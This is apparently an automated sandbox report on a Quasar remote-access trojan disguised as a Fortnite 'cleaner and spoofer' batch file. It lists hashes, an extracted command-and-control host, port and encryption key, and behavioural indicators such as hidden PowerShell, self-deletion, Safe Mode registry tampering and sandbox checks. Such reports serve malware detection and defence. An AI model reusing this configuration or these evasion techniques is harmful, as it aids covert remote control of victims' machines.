Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
29/12/2024, 21:58
Static task
static1
Behavioral task
behavioral1
Sample
FortniteCleanerandSpoofer.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
FortniteCleanerandSpoofer.bat
Resource
win10v2004-20241007-en
General
-
Target
FortniteCleanerandSpoofer.bat
-
Size
11.7MB
-
MD5
2633869ac4a9cb98b01488ac2cb20d72
-
SHA1
167871fab0a19acaf7ad22144d8fdb5b09959a28
-
SHA256
6a52f0cf77b3706de713eff3d7e038ff13d5ca7c8fc837f4eee0adac079cf522
-
SHA512
f4d48d8e672d828c79b65b886c1ca3a423701cd6a8077c0ab78c4d2e60284ed505fc971975beab3e79bd9b9c20f821b52111258642c8bbb4024891a343004543
-
SSDEEP
49152:z+8TuE0MoXJ8qRdxr47sbd6rBJYqfpbAgpK64KspQPEf+UWONvGFni6xha3DrNG0:k
Malware Config
Extracted
quasar
1.0.0.0
v3.0.6 | Zuni
infallible-water-17742.pktriot.net:22270
35d8168c-a187-4a7a-91c1-0c08c720bf29
-
encryption_key
8D3F0F423E546AEF9412DC2001F9C1DAB11CB7F5
-
install_name
.exe
-
log_directory
$sxr-Logs
-
reconnect_delay
3000
Signatures
-
Quasar family
-
Quasar payload 1 IoCs
resource yara_rule behavioral2/memory/1892-61-0x0000013D3B5B0000-0x0000013D3BD10000-memory.dmp family_quasar -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4032 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Deletes itself 1 IoCs
pid Process 4032 powershell.exe -
Executes dropped EXE 5 IoCs
pid Process 2284 $sxr-mshta.exe 5048 $sxr-cmd.exe 1892 $sxr-powershell.exe 208 $sxr-cmd.exe 4008 $sxr-powershell.exe -
Impair Defenses: Safe Mode Boot 1 TTPs 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\DispBrokerDesktopSvc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Dnscache powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\HomeGroupProvider\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\icssvc powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WmiAcpi\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\IPMIDRV powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\netprofm powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\BDESVC\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\defragsvc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\DevicesFlowUserSvc_2a18a powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\exfat\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\GraphicsPerfSvc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\hidi2c powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SDFRd powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\NaturalAuthentication powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\stornvme powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\BTAGService powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\DevicePickerUserSvc powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\FDResPub powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\gpsvc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iphlpsvc powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\NativeWifiP\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ScDeviceEnum\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\storahci\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\AJRouter\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\amdsbs\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\diagnosticshub.standardcollector.service powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\diagnosticshub.standardcollector.service\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\mouhid powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SCardSvr powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\usbprint\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Appinfo powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\mshidumdf powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ndiswanlegacy\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\sdstor powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SMSvcHost 4.0.0.0 powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\AppXSvc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Ndu powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nvdimm\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\shpamsvc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ServiceModelService 3.0.0.0 powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ShellHWDetection\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\DialogBlockingService powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\lltdio\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\mpsdrv\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nvdimm powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PushToInstall powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ServiceModelOperation 3.0.0.0\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\vmicrdv\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinRM powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WpnUserService\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\DevicesFlowUserSvc powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\mausbip\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RDPNP\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\s3cap\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\wcifs powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\wcncsvc\ = "Service" powershell.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\fhsvc powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\HidIr\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\luafv\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UdkUserSvc\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\adsi\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\dam\ = "Service" powershell.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UcmUcsiCx0101\ = "Service" powershell.exe -
Hide Artifacts: Hidden Window 1 TTPs 3 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 1892 $sxr-powershell.exe 208 $sxr-cmd.exe 4008 $sxr-powershell.exe -
Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\$sxr-cmd.exe powershell.exe File created C:\Windows\$sxr-powershell.exe powershell.exe File opened for modification C:\Windows\$sxr-powershell.exe powershell.exe File created C:\Windows\$sxr-mshta.exe powershell.exe File opened for modification C:\Windows\$sxr-mshta.exe powershell.exe File created C:\Windows\$sxr-cmd.exe powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 14 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={27D6FD15-D07D-4FBB-BD69-05A5882CAEDD}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1735509634" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 29 Dec 2024 22:00:35 GMT" OfficeClickToRun.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4032 powershell.exe 4032 powershell.exe 4032 powershell.exe 4032 powershell.exe 4032 powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 4008 $sxr-powershell.exe 4008 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 4008 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 4008 $sxr-powershell.exe 4008 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe 1892 $sxr-powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4032 powershell.exe Token: SeDebugPrivilege 4032 powershell.exe Token: SeDebugPrivilege 4032 powershell.exe Token: SeDebugPrivilege 1892 $sxr-powershell.exe Token: SeDebugPrivilege 1892 $sxr-powershell.exe Token: SeDebugPrivilege 1892 $sxr-powershell.exe Token: SeDebugPrivilege 4008 $sxr-powershell.exe Token: SeShutdownPrivilege 3432 Explorer.EXE Token: SeCreatePagefilePrivilege 3432 Explorer.EXE Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe Token: SeBackupPrivilege 2148 svchost.exe Token: SeRestorePrivilege 2148 svchost.exe Token: SeShutdownPrivilege 2148 svchost.exe Token: SeSystemEnvironmentPrivilege 2148 svchost.exe Token: SeUndockPrivilege 2148 svchost.exe Token: SeManageVolumePrivilege 2148 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe Token: SeBackupPrivilege 2148 svchost.exe Token: SeRestorePrivilege 2148 svchost.exe Token: SeShutdownPrivilege 2148 svchost.exe Token: SeSystemEnvironmentPrivilege 2148 svchost.exe Token: SeUndockPrivilege 2148 svchost.exe Token: SeManageVolumePrivilege 2148 svchost.exe Token: SeAuditPrivilege 2752 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe Token: SeBackupPrivilege 2148 svchost.exe Token: SeRestorePrivilege 2148 svchost.exe Token: SeShutdownPrivilege 2148 svchost.exe Token: SeSystemEnvironmentPrivilege 2148 svchost.exe Token: SeUndockPrivilege 2148 svchost.exe Token: SeManageVolumePrivilege 2148 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe Token: SeBackupPrivilege 2148 svchost.exe Token: SeRestorePrivilege 2148 svchost.exe Token: SeShutdownPrivilege 2148 svchost.exe Token: SeSystemEnvironmentPrivilege 2148 svchost.exe Token: SeUndockPrivilege 2148 svchost.exe Token: SeManageVolumePrivilege 2148 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2148 svchost.exe Token: SeIncreaseQuotaPrivilege 2148 svchost.exe Token: SeSecurityPrivilege 2148 svchost.exe Token: SeTakeOwnershipPrivilege 2148 svchost.exe Token: SeLoadDriverPrivilege 2148 svchost.exe Token: SeSystemtimePrivilege 2148 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1892 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3864 wrote to memory of 3372 3864 cmd.exe 83 PID 3864 wrote to memory of 3372 3864 cmd.exe 83 PID 3864 wrote to memory of 4032 3864 cmd.exe 84 PID 3864 wrote to memory of 4032 3864 cmd.exe 84 PID 2284 wrote to memory of 5048 2284 $sxr-mshta.exe 91 PID 2284 wrote to memory of 5048 2284 $sxr-mshta.exe 91 PID 5048 wrote to memory of 4460 5048 $sxr-cmd.exe 93 PID 5048 wrote to memory of 4460 5048 $sxr-cmd.exe 93 PID 5048 wrote to memory of 1892 5048 $sxr-cmd.exe 94 PID 5048 wrote to memory of 1892 5048 $sxr-cmd.exe 94 PID 1892 wrote to memory of 620 1892 $sxr-powershell.exe 5 PID 1892 wrote to memory of 684 1892 $sxr-powershell.exe 7 PID 1892 wrote to memory of 960 1892 $sxr-powershell.exe 12 PID 1892 wrote to memory of 376 1892 $sxr-powershell.exe 13 PID 1892 wrote to memory of 744 1892 $sxr-powershell.exe 14 PID 1892 wrote to memory of 1040 1892 $sxr-powershell.exe 15 PID 1892 wrote to memory of 1056 1892 $sxr-powershell.exe 16 PID 1892 wrote to memory of 1060 1892 $sxr-powershell.exe 17 PID 1892 wrote to memory of 1220 1892 $sxr-powershell.exe 19 PID 1892 wrote to memory of 1248 1892 $sxr-powershell.exe 20 PID 1892 wrote to memory of 1336 1892 $sxr-powershell.exe 21 PID 1892 wrote to memory of 1376 1892 $sxr-powershell.exe 22 PID 1892 wrote to memory of 1388 1892 $sxr-powershell.exe 23 PID 1892 wrote to memory of 1412 1892 $sxr-powershell.exe 24 PID 1892 wrote to memory of 1428 1892 $sxr-powershell.exe 25 PID 1892 wrote to memory of 1564 1892 $sxr-powershell.exe 26 PID 1892 wrote to memory of 1576 1892 $sxr-powershell.exe 27 PID 1892 wrote to memory of 1600 1892 $sxr-powershell.exe 28 PID 1892 wrote to memory of 1692 1892 $sxr-powershell.exe 29 PID 1892 wrote to memory of 1740 1892 $sxr-powershell.exe 30 PID 1892 wrote to memory of 1812 1892 $sxr-powershell.exe 31 PID 1892 wrote to memory of 1836 1892 $sxr-powershell.exe 32 PID 1892 wrote to memory of 1856 1892 $sxr-powershell.exe 33 PID 1892 wrote to memory of 1868 1892 $sxr-powershell.exe 34 PID 1892 wrote to memory of 1968 1892 $sxr-powershell.exe 35 PID 1892 wrote to memory of 1752 1892 $sxr-powershell.exe 36 PID 1892 wrote to memory of 2092 1892 $sxr-powershell.exe 37 PID 1892 wrote to memory of 2148 1892 $sxr-powershell.exe 39 PID 1892 wrote to memory of 2220 1892 $sxr-powershell.exe 40 PID 1892 wrote to memory of 2332 1892 $sxr-powershell.exe 41 PID 1892 wrote to memory of 2448 1892 $sxr-powershell.exe 42 PID 1892 wrote to memory of 2456 1892 $sxr-powershell.exe 43 PID 1892 wrote to memory of 2692 1892 $sxr-powershell.exe 45 PID 1892 wrote to memory of 2736 1892 $sxr-powershell.exe 46 PID 1892 wrote to memory of 2752 1892 $sxr-powershell.exe 47 PID 1892 wrote to memory of 2764 1892 $sxr-powershell.exe 48 PID 1892 wrote to memory of 2772 1892 $sxr-powershell.exe 49 PID 1892 wrote to memory of 2924 1892 $sxr-powershell.exe 50 PID 1892 wrote to memory of 3028 1892 $sxr-powershell.exe 51 PID 1892 wrote to memory of 3056 1892 $sxr-powershell.exe 52 PID 1892 wrote to memory of 784 1892 $sxr-powershell.exe 53 PID 1892 wrote to memory of 2848 1892 $sxr-powershell.exe 54 PID 1892 wrote to memory of 3328 1892 $sxr-powershell.exe 55 PID 1892 wrote to memory of 3432 1892 $sxr-powershell.exe 56 PID 1892 wrote to memory of 3552 1892 $sxr-powershell.exe 57 PID 1892 wrote to memory of 3728 1892 $sxr-powershell.exe 58 PID 1892 wrote to memory of 3920 1892 $sxr-powershell.exe 60 PID 1892 wrote to memory of 704 1892 $sxr-powershell.exe 62 PID 1892 wrote to memory of 2444 1892 $sxr-powershell.exe 65 PID 1892 wrote to memory of 8 1892 $sxr-powershell.exe 67 PID 1892 wrote to memory of 1472 1892 $sxr-powershell.exe 68 PID 1892 wrote to memory of 2972 1892 $sxr-powershell.exe 69 PID 1892 wrote to memory of 2656 1892 $sxr-powershell.exe 70 PID 1892 wrote to memory of 1608 1892 $sxr-powershell.exe 71 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
-
